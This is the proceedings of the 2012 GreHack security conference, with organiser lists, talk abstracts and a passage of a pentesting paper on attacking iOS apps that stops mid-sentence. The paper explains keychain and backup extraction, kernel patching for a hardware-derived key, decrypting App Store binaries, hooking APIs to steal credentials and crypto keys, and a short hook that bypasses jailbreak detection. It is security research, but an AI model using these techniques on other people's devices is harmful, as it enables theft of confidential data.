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1 Introduction

1.1 Epilog

October 17th 2012, Grenoble, France.

Dear GreHackians,

These proceedings record the papers presented at the first GreHack 2012 (GREHACK 2012), held in the
city of Grenoble, France.

GREHACK 2012 has been created to enhance several kinds of hackers (students, young researchers, pro-
fessionals) to write formal papers, that clearly state their contributions. It focuses on offensive security.

For this edition, the conference has a range of contributions by distinguished speakers both from academia
and industry. Besides its formal session, the conference included five invited talks.

Reviewing and selection were undertaken electronically. We received 22 submissions, among which 19
were considered and have been peer-reviewed at least 3 times by the programme committee. Finally, only 7
are presented at GreHack 2012.

During the night, a Capture The Flag contest, similar in its form to DefCon, PhDays & co takes place.
It is organized by SecurIMAG, the Ethical Hacking club of Ensimag.

We really hope you enjoyed it, as the organizing committee, the programme committee, and the speakers
put a lot of energy and sleepless nights into it :)

Fabien Duchene
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1.2 Organizing Committee

They :

• handle the logistic of the conference

• handle the logistic of the CTF

• set-up the network environement for the CTF

• wrote the challenges for the CTF

Most of people mentionned afterwards are members of the SecurIMAG ethical hacking team, an Ensimag
Applied Mathematics and Computer Science Engineering University.

Figure 1: Logo of the SecurIMAG hacking team

http://ensiwiki.ensimag.fr/index.php/Portail:SecurIMAG_Ensimag_IT_security_
club

Name Company / student Organizing Challenges
Florent Autreau Mataru x
Quentin Bourgeois Ensimag MSc student x x
Franck De Goer Ensimag MSc student x
Fabien Duchene LIG x x
Adrien Hamraoui Ensimag MSc student x x
Karim Hossen LIG x x
Guillaume Jeanne Ensimag MSc student x x
Arnaud Maillet Ensimag 2012 MSc graduate x
Celestin Matte Ensimag MSc student x x
Camille Mougey Ensimag MSc student x x
Phil x
Loic Pillard IUT Grenoble 2 lecturer x
Guillaume Touron Ensimag 2012 MSc graduate x
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1.3 Special Thanks

Many persons did provide us a substancial help:

• Yves Denneulin (LIG, Ensimag) for his numerous advices

• For helping us to obtain donations:

– Florent Autreau (MATARU, UJF)

– Pascal Malterre (CEA)

– Bruno Hareng, Christophe Leclercq, Vincent Planat (HP)

• For sharing their experience as conference organisers:

– Mathieu Blanc "moutane" (CEA) for sharing his experience as a SSTIC CO member!

– Emilien Girault "Segmentation fault" (Sogeti-ESEC)

– Damien Cauqil "VirtualLabs" (SysDream)

• Sofia Bekrar (LIG, VERIMAG) for her numerous advices

• Jean-Luc Richier (LIG, CNRS, UJF) for his LaTeX expertise

• Roland Groz (LIG, Ensimag)

• Philippe-Elbaz Vincent (UJF, IF)

• Mirella Bello (Ensimag), Simon Nieuviarts (Ensimag)

• Fred Raynal (Quarkslab)

• Press:

– ED-Diamonds and especially Veronique Sittler

– Marc Olanie (CNIS-MAG)

• CEA-DAM, HP, Mataru for their financial support

• Ensimag, LIG for its technical support

• Challenges websites:

– Zenk-Security http://zenk-security.com

– Root-Me http://root-me.org

• Charlie Miller (@0xcharlie, Twitter) for an exemplary of his book that he donated and for which
he requested all the authors to sign for the GreHack 2012 - Capture The Flag award.

• Gilles Thieblemont (Ensimag) , Emanuelle Bertrand (Ensimag)

• and to all of those who probably prefer their names not to appear in an electronic document...
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1.4 Programme Committee

Each paper has been reviewed at least 3 times. The following people were members of the GREHACK 2012
programme committee and reviewer papers for the conference:

Dan ALLOUN Intel
Florent AUTREAU Mataru, UJF
Claude CASTELLUCCIA INRIA
Fabien DUCHENE LIG
Philippe ELBAZ-VINCENT UJF, IF
Karim HOSSEN LIG
Pascal LAFOURCADE VERIMAG
Regis LEVEUGLE TIMA, Grenoble INP
Arnaud MAILLET Ensimag MSc graduate
Pascal MALTERRE CEA
Marie-Laure POTET VERIMAG
Sanjay RAWAT LIG
Guillaume TOURON Ensimag MSc graduate
Sofia BEKRAR LIG, VERIMAG
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1.5 Partners

We warmly thank them for their their financial and logistic support that was of great help!

CEA-DAM
www-dam.cea.fr

HP
hp.com

Ensimag
ensimag.fr

Université Joseph Fourier
ujf-grenoble.fr

MISC
ed-diamond.com

Codenomicon
codenomicon.com

Mataru
mataru.com

MAG-SECURS
mag-securs.com

ActiVPN
ActiVPN
activpn.com

LIG Lab
liglab.fr

VERIMAG
www-verimag.imag.fr

UFR
IM²AG
UJF

UFR-IMAG
ufrima.imag.fr
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2 Invited Talks

2.1 Eric Freyssinet/ Botnets: from observation to investigation

2.1.1 Eric Freyssinet

• Head of the cybercrime division, Gendarmerie nationale.

• PhD student at LIP6

• http://www.botnets.fr

• twitter: @ericfreyss

2.1.2 Botnets: from observation to investigation

Botnets constitute one of the main online criminal infrastructure. The economy behind it is booming, but
investigations and takedowns are not very successful. Knowing them better is part of the walk towards
fighting them better.

Talk can be downloaded from http://grehack.org
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2.2 Kostya Kortchinsky/ 10 years later, which vulnerabilities still matter?

2.2.1 Kostya Kortchinsky

Kostya currently works at Microsoft, Redmond, after having spent six years finding vulnerabilities and writ-
ing exploit at Immunity, Miami. Prior to that he worked at EADS and managed the French academic CERT
at RENATER. Kostya has been reverse-engineering software since the mid-90s, has published numerous
vulnerabilities, and spoken at major security conferences. In the past, he demonstrated a VMware escape
(CLOUDBURST) at Black-Hat USA 2009, and was the first to publicly exploit some vulnerabilities believed
to be unexploitable - MS08-001 (IGMPv3), MS09-050 (SMBv2).

Kostya Kortchinksy holds a MSc from the Ensimag - Applied Mathematics and Computer Science Engi-
neering School in Grenoble.

Kostya Kortchinsky’s blog: http://expertmiami.blogspot.com/ twitter: @crypt0ad

2.2.2 10 years later, which vulnerabilities still matter?

All vulnerabilities are not created equal. While some will manage to achieve their life’s purpose either
by themselves or with some help, some others will die useless and forgotten. What makes a vulnerability
a useful vulnerability? This paradigm has dramatically evolved during the last 10 years, as the OS and
software vendors have struggled to better their craft. Compiler enhancements, OS mitigations have rendered
nonpractical whole families of vulnerabilities, and decimated the population.

We will attempt to provide an answer to that question by walking through vulnerability classes, actual
vulnerabilities, and mitigations that have punctuated the last decade, how they interact and how the fittest
have survived. Some special attention will be given to Windows 8 and Visual Studio 2012 as they now are
the main challenge in the natural selection process.

Talk can be downloaded from http://grehack.org
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2.3 Philippe Elbaz-Vincent/ Attacks on the randomness of Random Number Generators
(RNG)

2.3.1 Philippe Elbaz-Vincent

Philippe Elbaz-Vincent is a Professor at Université Joseph Fourier, Grenoble. He is in charge of the MSc
SCCI (Security, Cryptology, and Coding of Information systems), a joint formation with Ensimag. He is
also in charge of the MSc SAFE (Securité, Audit et Forensic pour l’Entreprise) which focuses on defensive
and offensive security. His specialties includes: cryptology, performance of cryptographic primitives, and
analysis of random number generators for cryptographic use. He is one of the co-organiser of the cryptology
and security seminar of Grenoble.

2.3.2 Attacks on the randomness of Random Number Generators (RNG)

RNGs are a critical component of cryptographic devices, either hardware or software. Perturbations, imple-
mentation or design errors in RNGs can lead to failure in the security components and can be exploited by
attackers. Measuring the randomness of given parameters and the behavior under perturbations are impor-
tant problems raised by cryptography. We will illustrate technics to evaluate the randomness of such RNG,
especially when injecting fault.

Talk can be downloaded from http://grehack.org
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2.4 Regis Leveugle/ Attacks on secure hardware: basics and examples

2.4.1 Regis Leveugle

Régis LEVEUGLE is Professor at Grenoble Institute of Technology and associate director of TIMA labora-
tory. He leads a team specialized in the design of robust integrated systems subject to natural disturbances
(particles, electromagnetic fileds, ...) or malicious attacks. His main interests are computer architecture,
VLSI design methods and CAD tools, fault-tolerant architectures, concurrent checking and dependability
analysis.

2.4.2 Attacks on secure hardware: basics and examples

This talk presents the main types of attacks (passive or active) exploiting hardware characteristics or sensitiv-
ity to break the security of smart cards or embedded systems. After a brief presentation of the general context,
the means used to perform circuit-level attacks are reviewed, with a special emphasis on cryptoprocessors.
Examples of attacks are shown on typical cryptographic algorithms (DES, AES, RSA, ECC ...). The impact
of the implementation technology (ASIC or FPGA) is also discussed.

Talk can be downloaded from http://grehack.org
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2.5 Dave Penkler, Boris Balacheff/ Cloud, security and the mobile enterprise: An end-to-end
manageability challenge

2.5.1 Boris Balacheff

Boris Balacheff is a senior researcher at HP Labs in the field of computer security, specializing in the areas
of trusted computing and infrastructure security technologies, and their application to cloud and mobility in
the next generation enterprise. He sits on the Board of Directors of the Trusted Computing Group (TCG) and
co-chairs its Certification Program Committee. Boris also works with many product divisions to help drive
security technology strategy.

Boris’s research has ranged from cryptographic algorithms and protocols to networking and computer
security. He developed an expertise in smartcard technology and was the Technical Committee representative
for HP on the PC/SC specification working group. He is one of the early contributors to the invention of
Trusted Computing technology, and he co-authored the HPLabs’ book on this topic. He also served on the
Technical Committee of the Trusted Computing Platform Alliance (TCPA) during the development of its
early specifications. Boris Balacheff joined HP Labs in 1997 with a French ìDiplÙme d’Ingénieurî degree in
applied mathematics and computer science.

2.5.2 Dave Penkler

Dave Penkler joined HP in 1979 as a systems engineer in South Africa working on real-time data acquisition
and control systems in many areas including mining engineering, physics, mechanical systems and communi-
cations. In 1986, he moved to Grenoble, France as a network consultant designing packet switched networks
and implementing OSI communication protocols. From 1990 to 1996, he was responsible for advanced re-
search in telecommunications networks and developed technologies for computer based intelligent network
and voice processing platforms. From 1997 to 1999, he managed research projects in distributed computing,
signal processing and mobile communication services. Subsequently he spent four years at Sun Microsys-
tems developing highly available distributed systems software technology for the telecommunications. Dave
is currently chief technologist of HP OpenCall and is responsible for shaping the technology strategy and ar-
chitecture. He is an HP fellow and holds a B.Sc. in Mathematics and Computer Science from the University
of the Witwatersrand, South Africa. He is a member of ETSI, the IEEE and the Service Availability Forum.

2.5.3 Cloud, security and the mobile enterprise: An end-to-end manageability challenge

The current revolution in how we relate to computing as individuals, businesses, or societies, is creating
tensions that clearly had not been anticipated in the design of the computing and information systems that are
in use today. End-users have developed a preference to choose their devices and are attached to their freedom
of using them as they wish. As the personal use increases users are less and less accepting of traditional
IT controls and administrative barriers. Businesses are under pressure to let employees ëbring your own
device’, and they are increasingly eager to adopt computing as-a-service in order to lower their operational
IT costs and support user mobility. However CIO’s and IT administrators must still be able to dictate and
manage the enterprise IT footprint on the personal devices in order to comply with corporate policy. This talk
will discuss the tensions that arise at the intersection of personal and business computing, and how security
and risk management issues take a new dimension as we look for solutions to the end-to-end manageability
challenge that must be overcome in order to satisfy all parties with next generation computing systems.

Talk can be downloaded from http://grehack.org
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3 Accepted Papers

3.1 Mathieu Renard/ Practical iOS Apps hacking

3.1.1 Mathieu Renard

@GoToHack Mathieu Renard “GoToHack” is a Senior Penetration tester, working for a French company
(SOGETI-ESEC) where is leading the penetration test team. His research areas focus in Web Application
Security, Embedded Systems, Hardware hacking and recently Mobile device Security. Since last year, he has
focused is work (security assessments) and his research on professional iOS applications and their supporting
architecture where data security is paramount.

twitter: @GoToHack

3.1.2 Practical iOS Apps hacking

This talk demonstrates how professional applications like, Mobile Device Management (MDM) Client, Con-
fidential contents manager (Sandbox), professional media players and other applications handling sensitive
data are attacked and sometimes easily breached. This talk is designed to demonstrate many of the techniques
attackers use to manipulate iOS applications in order to extract confidential data from the device. In this talk,
the audience will see examples of the worst practices we are dealing with every day when pentesting iOS
applications and learn how to mitigate the risks and avoid common mistakes that leave applications exposed.
Attendees will gain a basic understanding of how these attacks are executed, and many examples and demon-
strations of how to code more securely in ways that won’t leave applications exposed to such attacks. This
talk will focus especially on the following features:

Secure Data Storage Secure Password Storage Secure communication Jailbreak detection Defensive
tricks

• Talk and paper can be downloaded from http://grehack.org
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Practical iOS Apps hacking 
Can we trust vendors to secure our data? 

 

Mathieu RENARD 
Sogeti ESEC / GotoHack.org 

Paris, FRANCE 
mathieu.renard[-AT-]gotohack.org 

 
 

 
This paper demonstrates how professional applications like, 
Mobile Device Management (MDM) Client, Confidential contents 
manager (Sandbox), professional media players and other 
applications handling sensitive data are attacked and sometimes 
easily breached.   

Readers will gain a basic understanding of how these attacks are 
executed, and many examples of how to code more securely in 
ways that will not leave applications exposed to such attacks. 

 

I. INTRODUCTION 
Gone are the days when employees only used a company-
issued phone for work related matters. Today, employees 
bring personal smart phones and tablets to the office and often 
have access to sensitive company information on these 
devices. 

This paper is the result of one-year pentesting iOS application 
and is designed to demonstrate many of the techniques 
attackers use to manipulate iOS applications in order to extract 
confidential data from the device.  

Then, Jailbreak detection features are analyzed before 
discussing the results of tests launched on professional 
applications like, Mobile Device Management (MDM) Client, 
Confidential contents manager (Sandbox), professional media 
players and other applications handling sensitive data.  

Finally the author proposes mitigation techniques to 
implement in order to avoid common mistakes that leave 
applications exposed. 

II. ATTACKING IOS APPLICATIONS 
Most of the time attacking iOS application is synonym to 
jailbreak an iDevice, decrypt the application and reverse the 
binaries. Before developing these items there is some 
interesting points to linger on, especially on regular devices. 

A. What attackers can do without jailbreaking the device 
Without having access to the file system it is impossible de 
decrypt and reverse iOS applications installed from Apple 
App Store. Nevertheless, this section present attacks vectors 

that can allow retrieving confidential information stored by 
miss implemented iOS application. 

1) Using afc protocol to retrieve data stored on the device 
Apple File Communication Protocol (AFC) is a serial 
port protocol that uses a framework called 
MobileDevice that is installed by default with iTunes. 
Since 2010 this protocol is implemented in the 
libimobiledevice[8] open-sources project. The protocol 
uses the USB Port and cable when it is connected to the 
computer and is responsible for things such as copying 
music and photos and installing firmware upgrades.  
AFC Clients like iTunes are allowed access to a 
“jailed” or limited area of the device memory. 
Actually, AFC clients can only access to certain files, 
namely those located in the Media and User installed 
applications folders. In other words, using AFC client a 
user/attacker can download the application resources 
and data. Including the default preferences file where 
sometimes credentials are stored. The only requirement 
is the device has to be unlocked. But this is definitively 
not a problem because an evil maid cans backdoor any 
iDevice Dock Station. 

 

 
Figure 1 iPown Dock: Malicious dock station. 
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2) Retrieving data from backups 
The main function of the backup is to permit user to 
restore personal data and settings to an iPhone during a 
Restore (during which the content on the iPhone is 
typically erased).  
When the iPhone is connected to a computer and 
synced with iTunes, iTunes automatically creates a 
folder with device UDID (Unique device ID – 40 
hexadecimal characters long) as the name and copies 
the device contents to the newly created folder. Most of 
the time this process is automatic. If the automatic sync 
option is turned off in iTunes, the user has to manually 
initiate the backup process through the iTune interface.  

TABLE I.  BACKUPS FILE PATH 

System Backup Path 
Windows 7 C:\Users\(username)\AppData\Roaming\Apple 

Computer\MobileSync\Backup\ 
Mac OSX /Users/(username)/Library/Application 

Support/MobileSync/Backup/ 
 
Since the sync option is defined on the computer side, 
no user interaction except unlocking the device is 
required. This implementation allows malicious dock 
station to initiate backups without user authorization. 
Performing such attack an attacker may retrieve 
personal and confidential data like copies of SMS, Call 
Logs, application data, default preferences and data 
stored in the keychain.  
 
Keychain class keys define whether a keychain item 
can be migrated to other device or not. List of 
protection classes available for the keychain items are 
shown in the table bellow. 

TABLE II.  KEYCHAIN CLASS KEYS 

Protection class Description 

kSecAttrAccessibleWhenUnlocked 
Keychain item is accessible 
only after the device is 
unlocked 

kSecAttrAccessibleAfterFirstUnlock 
Keychain item is accessible 
only after the first unlock of 
the device to till reboot 

kSecAttrAccessibleAlways Keychain item is accessible 
even the device is locked 

kSecAttrAccessibleWhenUnlocked 
ThisDeviceOnly 

Keychain item is accessible 
only after the device is 
unlocked and the item 
cannot be migrated between 
devices 

kSecAttrAccessibleAfterFirstUnlock
ThisDeviceOnly 

Keychain item is accessible 
after the first unlock of the 
device and the item cannot 
be migrated 

kSecAttrAccessibleAlways 
ThisDeviceOnly 

Keychain item is accessible 
even the device is locked 
and the item cannot be 
migrated 

 

 

TABLE III.  PROTECTION CLASSES FOR BUILT IN ITEM 

Application & Item type Protection class 
WiFi Password Always 
IMAP/POP/SMTP accounts AfterFirstUnlock 
Exchange Accounts Always 
VPN Always 
LDAP/CalDAV/CardDAV Accounts Always 
iTunes backup password WhenUnlocked 

ThisDeviceOnly 
Device Certificate & private Key AlwaysThisDeviceOnly 

 
Using the iphonedataprotection[1] tools developed by 
Jean-Baptiste Bédrune and Jean Sigwald of Sogeti 
ESEC, it is possible to extract all data stored in the 
keychain. Nonetheless, only data stored without the 
ThisDeviceOnly protection class can be extracted 
without requiring any jailbreak.  
 
Notice: Extracting data stored with the ThisDeviceOnly 
protection class require to previously extracting the 
0x835 key the attack is detailed in the next section.   

3) Monitoring communication 
Monitoring communication can highlights lack of 
encryption allowing unsecured credential gathering. 
Starting iOS 5, apple added a remote virtual interface 
(RVI) facility that allows capturing traces from an iOS 
device. On Mac OSX the virtual interface can be 
enabled with the rvictl command. 

 

$ rvictl -s 
454b673c547582234decef5ef3abce6765506af45 
  
Starting device 
454b673c547582234decef5ef3abce6765506af45 
[SUCCEEDED] 
 
$ # network interface, rvi0, added by the 
previous command. 
$ ifconfig -l 
lo0 gif0 stf0 en0 en1 p2p0 fw0 ppp0 utun0 rvi0 
 
$ sudo tcpdump -i rvi0 -n 
listening on rvi0, link-type RAW (Raw IP), 
capture size 65535 bytes 
… 

Figure 2 Enabling iOS virtual interface on OSX. 

 
On other system this can be done using the 
com.apple.pcapd service through the usbmux[8] 
deamon.  

4) Attacking secure communications to servers 
Almost every application handling sensitive data will 
connect back to some server component. Developers 
are, thus, faced with the challenge of having to protect 
sensitive data in transit as it traverses the Internet and 
sometimes even insecure wireless media. This can be 
done using encryption but must be implemented 
correctly. 
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This is why, developers must take care when using the 
URL loading library. According to the security best 
practices, the default state of operation for the URL 
loading library is to fail on an invalid server certificate. 
However, during development it is often required to 
use an invalid certificate. Failure to use the libraries 
properly can result in weak client to server 
communications that attackers may compromise by 
setting a transparent proxy (for example on a fake Wi-
Fi access point). This is why, it is really important to 
check this point before production launch. 
 
Nevertheless, the default SSL Warning message can be 
bypassed by installing a fake certificate authority in the 
apple certificate store. On a regular device, this cannot 
be done without user interaction. However, prior iOS6, 
SMS applications only displayed the reply-to field. 
This allows attackers to send fake configuration 
message spoofing the reply-to field [28]. 

B. Installing the application on a jailbroken device 
Apple designed the iPhone platform with the intent to control 
all software that is executed on the device. Thus, the design 
does not intend to give full system (or root) access to a user.  
Moreover, only signed binaries can be executed. In others 
words, the loader will not execute either unsigned binaries or 
signed binary without a valid signature from Apple. This 
ensures that only unmodified Apple-approved applications are 
executed on the device.  
 
The term jailbreaking refers to a technique where a flaw in the 
iOS operating system is exploited to unlock the device, 
thereby obtaining system-level (root) access. With such 
elevated privileges, it is possible to modify the system loader 
so that it accepts any signed binary, even if the signature is not 
from Apple. In others words, the loader will accept to launch 
every signed binaries even if it is not signed with Apple 
certificate.  

1) Retrieving user password & keychain content 
Jailbreaking also allows malicious user to retrieve 
application and data stored on the device. When a device 
is Jailbroken, the confidentiality of the data and 
information returned by the systems call cannot be 
trusted.  
Moreover, jailbreaking allows users to install an SSH 
service, which is often left in a de facto unsecure state. 
Remember: Worm:iPhoneOS/Ikee the first worm which 
was targeting the Apple Jailbroken iPhone:  

-‐ The first version most notable action involved 
changing the background wallpaper on the 
device. 

-‐ The second version the worm was accessing 
user's computing device and changing their data 
without permission. 
 

Running critical application on a jailbroken device may 
allow attackers to retrieve data such as encryption keys 
and credentials even when stored in the Keychain.  
In the iPhoneDataProtection framework, Jean-Baptiste 
Bédrune and Jean Sigwald implemented a tool named 
“KeychainViewer”[1] allowing browsing the keychain 
content by directly accessing the keychain database. 
 

 
Figure 3 Browsing Keychain with KechainViewer. 

2) Retrieving the 0x835 Key 
Browsing the keychain content on a jailbroken is not 
really difficult. On the opposite, extracting all data 
including data stored within the ThisDeviceOnly 
protection class form a backup require extracting the 
0x835 key. The 0x835 key is generated by encrypting 
01010101010101010101010101010101 with the UID-
key (Hardware key). Hardware keys can only be 
accessed from kernel. Therefore, IOAESAccelerator 
kernel service has to be patched in order to allow keys 
access from user land.  
 
The iPhoneDataProtection framework embeds tools 
allowing patching the kernel and retrieving the 0x835 
key.  
  

 
Figure 4 Patching IOESAccelerator. 
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C. Reversing Objective-C Binaries  
iOS executables are ARM binaries and use the Mach-O binary 
file format.  
 

1) Faiplay encryption 
The primary obstacle to overcome in reversing iOS 
binaries from the App Store is that all published 
applications are encrypted using Apple's binary 
encryption scheme. When an application is synchronized 
onto the iDevice, iTunes extracts the application folder 
from the archive (bundle) and stores it on the device. 
Furthermore, the decryption key for the application is 
added to the device’s secure keychain. This is required 
because the application binaries are stored in encrypted 
form (When an application is encrypted the cryptid is set 
to 1). 
 
Here the benefit of jailbreaking is that the user obtains 
immediate access to many development tools ready to be 
installed on iOS, such as: debugger and disassembler.  
 
This makes the decryption step quite straightforward:  
-‐ The application is launched in the debugger. 
-‐ A breakpoint is set to the program entry point. 

Once this breakpoint triggers, the attacker knows 
that the system loader has verrified the signature 
and performed the decryption.  

-‐ The memory region that contains the now 
decrypted code is dumped. 

-‐ The binary encrypted part is replaced by the 
dumped one. 

-‐ The CryptID  is redefined to 0. 
 
Tools like Crackulous[2] are making this task easier 
since they allow decrypting / cracking iOS application in 
one click. Unfortunately Crackulous v1.0.0.5 does not 
handle the decryption of thin binary (Binary file 
compiled for one processor architecture only). 
 

 
Figure 5 Cracking application with crackulous. 

Fortunately (from the auditor point of view), Stefan 
Esser Aka i0nic, published a tool called: 
dumpdecrypted[3] producing a decrypted version of the 
application to analyze when loaded with. Nevertheless, 
in order to limit iOS application cracking, the tool does 
not unset the cryptic after decryption. Which mean, that 
the flag has do be unset manually after decryption. Since 
this step is not mandatory for a security analysis it will 
not be discussed here. 

 
2) Objective-C & Objc_msgSend 

Objective-C is the most prevalent programming language 
used to create applications for the iOS platform. In 
Objective-C methods are not called but instead a so-
called message is sent to a receiver object. These 
messages are handled by the dynamic dispatch routine 
called objc_msgSend.  
 
This dispatch routine is responsible for identifying and 
invoking the implementation for the method that 
corresponds to a message. The first argument is always a 
pointer to the called object. That is, the object on which 
the method should get invoked (for example, an instance 
of the class NSString). The second argument is a called 
selector. The selector is a string representation of the 
name of the method that should get invoked (for example 
length). All remaining arguments are passed to the target 
method once it is resolved.  
To perform this resolution, the obj_msgSend function 
walks the class hierarchy starting at the receiver and 
searches for a method whose name corresponds to the 
selector. If no match is found in the receiver class, its 
superclasses are searched recursively. Once the 
corresponding method is identified, objc_msgSend 
invokes the method and passes along the necessary 
arguments.  

 
3) Retreiving classes headers 

Since many applications for iOS are developed in 
Objective-C, the Mach-O format supports specific 
sections, organized in so-called commands, to store 
additional meta-data about Objective-C programs.  
 
The __objc_classlist section contains a list of all classes 
for which there is an implementation in the binary. The 
__objc_classref section, on the other hand, contains 
references to all classes that are used by the application 
including imported classes. It is the responsibility of the 
dynamic linker to resolve the references in this section 
when loading the corresponding library. Others sections 
include information about categories, selectors, or 
protocols used or referenced by the application. 
Apple has been developing the Objective-C runtime as 
an open-source project. Thus, the specific memory layout 
of the involved data structures can be found in the header 
files of the Objective-C runtime.  
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One can rebuilt basic information about the implemented 
classes traversing these structures in the binary. Using 
“class-dump”, the commercial version of IDA pro 
(starting 6.2) or using the IDA plugins like 
zynamics/objc-helper-plugin-ida[11] within the IDA free 
version it is trivial to retrieve these information. 
 

 
Figure 6 Analyzing iOS binarie with classdump. 

4) Where to start ? 
To start the analysis in the right way we have to locate 
the main class. The UIApplicationDelegate protocol 
declares methods that are implemented by the delegate of 
a UIApplication object. These methods provide 
information about key events in an application’s 
execution such as when it finished launching, when it is 
about to be terminated, when memory is low, and when 
important changes occur. Finding one of the following 
methods: ApplicationDidFinishLaunching, 
ApplicationDidFinishLaunchingWithOptions, 
Application*… is a good way to find out which view is 
launched first.  
 
Regarding the views initialization, The 
UIViewController class provides specific methods that 
are called when specific events occur. When trying to 
follow the execution patch the main event to focus our 
intention is viewDidLoad that is called after views 
initialization. 
 

5) Where to look ? 
The list of points to focus on when reversing iOS 
Application is related to the features of the application to 
be analyzed. Here is a list of object that may have an 
interest regarding security matters. 

TABLE IV.  INTERESTING OBJECTS, CLASSES & METHODS 

Use case Objects / Classes / Methods 
URL Handling NSURL* 
Socket Handling CFSocket* 
Keychain ksecAttr*, SecKeychain* 
Files Handling NSFileManager* 
Crypto CCCrypt* 

D. Dynamic analysis 
There are many different approaches to dynamic analysis. In 
this section we will focus on the MobileSubstrate[6] 
framework. 

1) Introducing Mobile substrate 
MobileSubstrate[6] is a framework that allows 
developers to provide run-time patches 
(“MobileSubstrate extensions”) to system functions. 
MobileSubstrate can easily install on jailbroken device 
through Cydia[6]. The framework consists of three major 
components:  
-‐ MobileHooker is used to replace system functions. 
-‐ MobileLoader is used to automatically load 

Mobilesubstrate extension at application launch. 
MobileLoader will first load itself into the run 
application using DYLD_INSERT_LIBRARIES 
environment variable. Then it looks for all 
dynamic libraries in the directory 
/Library/MobileSubstrate/DynamicLibraries/, and 
dlopen them.  

-‐ Safe Mode: When a extension crashed the 
SpringBoard, MobileLoader will catch that and 
put the device into safe mode menaing that all 3rd-
party extensions will be disabled. 

 
In order to define a hook the developer can use two 
functions: 
-‐ MSHookMessageEx() will replace the 

implementation of the Objective-C message 
by replacement, and return the original 
implementation. This dynamic replacement is in 
fact a feature of Objective-C, and can be done 
using method_setImplementation.  

-‐ MSHookFunction() is like MSHookMessageEx() 
but is for C/C++ functions. Conceptually, 
MSHookFunction() will write instructions at 
assembly level that jumps to the replacement 
function, and allocate some bytes on a custom 
memory location, which has the original cut-out 
instructions and a jump to the rest of the hooked 
function. Since on the iPhoneOS by default a 
memory page cannot be simultaneously writable 
and executable, a kernel patch is applied for 
MSHookFunction() to work. 

 
Using this Framework attacker can easily trace and 
dynamically patch the application at runtime. Here is an 
example of jailbreak detection bypass: 

 

static int (*old_system)(char *) = NULL; 
int st_system(char * cmd){ 
    if (!cmd){ 
        return nil; 
    } 
 return old_system(cmd); 
} 
__attribute__((constructor)) static void 
initialize() { 
  MSHookFunction(system, st_system,&old_system); 
} 

Figure 7 Bypassing Jailbreak detection. 
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2) Attacking network communication 
Hooking the NSURLConnection and setting a proxy on 
the device it is possible to silently still the credentials and 
all the data exchanged with the server even when 
transmitted through HTTPS. 
 
iOS SSL Kill Switch[5] is a MobileSubstrate[6] extension 
developed by iSECPartners. This extension allows 
disabling certificate validation in order to facilitate black 
box testing of iOS Apps. Once installed on a jailbroken 
device, the extension patches NSURLConnection to 
override and disable the system's default certificate 
validation. 

 
3) Stealing cryptos keys 

Hooking the CCCrypt(3cc) API it is possible to silently 
still the crypto keys used on native iOS application. This 
CCCrypt(3cc) API provides access to a number of 
symmetric encryption algorithms. Most of the time the 
application are directly calling the CCCrypt() function. 
CCCrypt() is a stateless, one-shot encrypt or decrypt 
operation.   
 

CCCrypt(CCOperation op, CCAlgorithm alg,  
       CCOptions options, const void *key,  
       size_t keyLength, const void *iv,  
       const void *dataIn, size_t dataInLength,  
         void *dataOut, size_t dataOutAvailable, 
         size_t *dataOutMoved); 

Figure 8 CCCrypt API definition. 

III. JAILBREAK DETECTION FEATURES [THE TRUTH] 
Jailbreak detection features are implanted in order to detect 
when an end user has compromised their device, or to detect 
whether an intruder has compromised a stolen device. For 
example, all MDM application embeds jailbreak detection 
features.  

 
The following sections present common and uncommon 
jailbreak detection features highlighted during one year 
studying iOS application security. 
 

A. Checking for jailbreak files 
This is the most common check performed on the application 
we analyzed. Usually applications are checking for files like: 
“/Applications/Cydia.app”, “/bin/apt”,“/usr/sbin/sshd”…  
 

+ (BOOL)doCydia { 
    if ([[NSFileManager defaultManager]    
      fileExistsAtPath: @"/Applications/Cydia.app"]){ 
      return YES; 
    } 
    return NO; 
} 

Figure 9 Checking for jailbreak files. 

Launching a simple “strings” on the application binary can 
highlight this test. Nonetheless, sometimes developers use 
dynamic string generation and obfuscation tricks in order hide 
checked files. Anyway, this test can be bypassed by hooking 
NSFileManager methods. 
 

B. Checking if system partition is writable 
On a regular device the system partition is mounted with the 
read only attribute.  After jailbreaking a device with the public 
jailbreak tool Absinthe [4], the system partition remains 
writable. This changes are made by replacing the /etc/fstab file. 
The file is commonly 80 bytes for all iOS version, whereas the 
copy of the file installed by the public jailbreak tool: Absinthe 
is only 65 bytes. 
 

+ (BOOL)doFstabSize {   
    struct stat sb; 
    stat("/etc/fstab", &sb); 
    long long size = sb.st_size; 
    if (size == 80){ 
       return NO; 
    return YES; 
} 

Figure 10 Checking /etc/fstab size. 

This test can easily be bypassed by hooking the stat system call 
within a mobile substrate extension. 
 
C. Checking for shell 
By default no shell is available on regular device but it comes 
with the public jailbreak. This is why this test aims to detect if 
a shell is available on the device by calling system(0). If the 
value of command is NULL, system() returns nonzero if the 
shell is available, and zero if not.  
 

+ (BOOL)doShell { 
 if (system(0)) { 
            return YES; 
     } 
     return NO; 
} 

Figure 11 Checking /etc/fstab size. 

This test can easily be bypassed with a mobile substrate 
extension (See Figure 7). 
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D. Checking for signer identity (Another common test) 
Most of the applications cracked with “Crackulous” [2] come 
with a SignerIdentity key added in the Info.plist file bundled 
with the application.  
 

+ (BOOL)doSignerIdentity { 
  NSBundle *bundle = [NSBundle mainBundle]; 
  NSDictionary *info = [bundle infoDictionary]; 
  if ([info objectForKey: @"SignerIdentity"] != nil){ 
        NSLog(@"App have has been hacked"); 
        return YES; 
  } 
  return NO; 
} 

Figure 12 Checking for SignerIdentity. 

 
This test is designed to overcome automated processes at best, 
and will probably only defeating most tutorial-followers. An 
attacker can hexedit the binary file and as such, could edit the 
string @"SignerIdentity" to read @"siNGerIDentitY" or 
something else which would return nil, and thus pass. This test 
can also by bypassed by hooking objectForKey and return nil. 
 

E. Less commons Jailbreak checks 
Less commons jailbreak checks are using system calls: 

-‐ Fork(): Documented in some books and blog posts: If the 
process can fork, the device is jailbroken. Except this 
check producing a lot of logs in the console, and most 
important does not work because the jailbreak does not 
patch this part of the sandbox. See the iPhone Wiki [12] 
for details about jailbreak patchs. 

-‐ Open(): Trying to open a file in write mode in a not 
writable path outside the sandbox: if no error the device 
is not jailbroken. 

 
Like other jailbreak detection functions presented in this 
section system calls can easily being hooked in order to hide 
the jailbreak. 

 

F. Conclusion: Jailbreak detection = Fail by design! 
Despite this test are interesting and probably stops most of the 
script kiddies, tutorial follower and automating tools, skillful 
attackers can bypass them.  
The thing is that Apple does not provide any API to launch 
action either before or after the installation. As a result 
attackers are able to decrypt and analyze applications before 
